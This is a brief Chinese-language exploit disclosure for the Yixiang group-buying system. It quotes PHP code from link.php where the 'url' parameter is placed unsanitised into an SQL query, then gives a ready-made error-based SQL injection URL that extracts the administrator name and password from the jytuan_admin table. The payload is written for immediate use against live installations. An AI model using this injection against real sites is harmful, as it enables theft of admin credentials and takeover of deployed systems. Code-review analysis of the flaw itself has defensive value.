易想团购系统link.php页面内代码

if($_REQUEST['act']=='go')  //link标签 go
{
    $url = ($_REQUEST['url']);  //直接取了url的值就带入了sql查询语句了
    $link_item = $GLOBALS['db']->getRowCached("select * from ".DB_PREFIX."link where (url = '".$url."' or url = 'http://".$url."') and is_effect = 1"); //带入查询了
    if($link_item)
    {
        if(check_ipop_limit(get_client_ip(),"Link",10,$link_item['id']))
        $GLOBALS['db']->query("update ".DB_PREFIX."link set count = count + 1 where id = ".$link_item['id']);
        $url = "http://".$url;
    }
    else
    {
        $url = APP_ROOT."/";
    }
    app_redirect($url);
}

exp:

https://ha.cker.in/link.php?act=go&city=sanming&url=secer') and (updatexml(1,concat(0x3a,(select concat(adm_name,0x3a,adm_password) from jytuan_admin limit 1)),1))%23